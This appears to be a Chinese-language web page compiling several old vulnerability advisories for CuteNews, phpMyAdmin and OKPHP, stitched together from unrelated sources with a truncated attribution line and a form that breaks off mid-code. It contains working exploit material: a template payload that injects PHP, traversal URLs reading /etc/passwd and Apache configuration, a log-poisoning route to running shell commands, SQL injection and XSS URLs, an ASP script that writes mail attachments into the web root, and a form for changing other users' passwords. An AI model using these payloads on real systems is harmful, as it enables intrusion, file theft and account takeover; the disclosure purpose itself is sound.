首页 > 编程技术 > php

CuteNews远程PHP代码注入执行漏洞

发布时间:2016-11-25 15:27

Cutenews是一款功能强大的新闻管理系统,使用平坦式文件存储。
Cutenews在处理用户提交的请求参数时存在漏洞,远程攻击者可能利用此漏洞在主机上执行任意命令。
在管理帐号编辑模板文件的时候,CuteNews不能正确的过滤用户输入。CuteNews从Web表单中获取HTML代码并将其输出到名为<templatename>.tpl的模板文件中。该模板文件包含有类似以下的PHP代码:
--snip--
<?PHP
$template_active = <<<HTML
[HTML template code]
HTML;
$template_full = <<<HTML
[HTML template code]
HTML;
?>
--snap--
输入以下模板脚本:
--snip--
HTML;
[PHP code]
$fake_template = <<<HTML
--snap--
管理帐号就可以执行PHP代码,导致在本地系统执行shell命令。
<*来源:John Cantu (
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在:
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。
首先,得到 Apache 配置文件以便知道日志文件存储位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日志放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到 端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后,攻击者能将任意 PHP 代码上传
现在,可以用 Apache 用户身份远程运行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统:
phpMyAdmin 2.1.0
解决方案:
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自:52w.net

涉及程序:
phpMyAdmin
描述:
phpMyAdmin远程PHP代码注入漏洞
&nbsp;
详细:
phpMyAdmin是一个免费工具,为管理MySQL提供了一个WWW管理接口。
phpMyAdmin存在PHP代码注入问题,远程攻击者可以利用这个eval()函数执行任意PHP命令。
不过此漏洞只有当$cfg[‘LeftFrameLight‘]变量(config.inc.php文件)设置成FALSE时才有用。
phpMyAdmin在($cfg[‘Servers‘][$i])数组变量中存储多个服务器配置,这些配置包含在config.inc.php文件中,信息包括主机、端口、用户、密码、验证类型等,但是由于$cfg[‘Servers‘][$i]没有进行初始化,允许远程用户通过GET函数增加服务器的配置,如提交如下请求增加配置:
http://target/phpMyAdmin-2.5.7/left.php?server=4&amp;cfg[Servers][host]=202.81.x.x&amp;cfg[Servers][port]=8888&amp;cfg[Servers][user]=alice ..
而eval()函数中的$eval_string字符串允许执行PHP代码,攻击者可以增加服务器配置和提交特殊构建的表名,可导致包含的恶意PHP代码被执行。
受影响系统:
phpMyAdmin phpMyAdmin 2.5.7
&nbsp;
攻击方法:
暂无有效攻击代码
&nbsp;
解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpmyadmin.net

本文作者:kEvin1986
文章性质:原创
发布日期:2005-08-14
 

<%
  ‘codz by kEvin1986
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")
  if User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver
    set objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End if
  Function SaveAtta()
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>"
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If
    Set Theatta = Attachments(i)
    response.write Theatta.name
    Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.name)
    Response.write "Oh!Hey Guy.....That‘s OK!"
    Next
  End Function
%>


本文作者:SuperHei
文章性质:原创
发布日期:2005-08-14
程序描叙
  OKPHP是由www.okphp.com开发一套专业的网站管理系统,目前产品包括:Okphp CMS, Okphp BBS,Okphp BLOG。由于对变量的过滤不严密及密码认证不严,导致sql注射,xss,隐藏变量post攻击从跨权限操作。
漏洞攻击
1、SQl注射及xss
  “几乎” 存在于各个变量里,如:forum.php

http://www.xxx.com/forum.php?action=view_forum&forum_id={sql}
http://cn.okphp.com/forum.php?action=view_forum&forum_id=‘xss
.......
2、隐藏变量post攻击
  在提交request.php?action=user_modify 修改用户资料时,没有密码认证导致通过user_id修改容易用户密码及资料;
Exp:

<html>
<head>
<title>Okphp Discussions - powered by okphp BBS</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="bbs/themes/default/css/darkblue/css.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#CCCCCC" text="#000000">
<table class="forumline2" cellspacing="1" cellpadding="3" border="0">
<form name="form1" method="post" action="http://cn.okphp.com/forum.php" enctype="multipart/form-data">
<tr>
<th colspan="2" background="bbs/themes/default/images/darkblue/th_bg.gif">修改信息</th>
</tr>
<tr class="row1"> </tr>
<tr class="row2">
<td width="20%" valign="top" align="right">密码</td>
<td width="80%">
<p>
<input type="password" name="password1" size="20">
重复输入

标签:[!--infotagslink--]

您可能感兴趣的文章: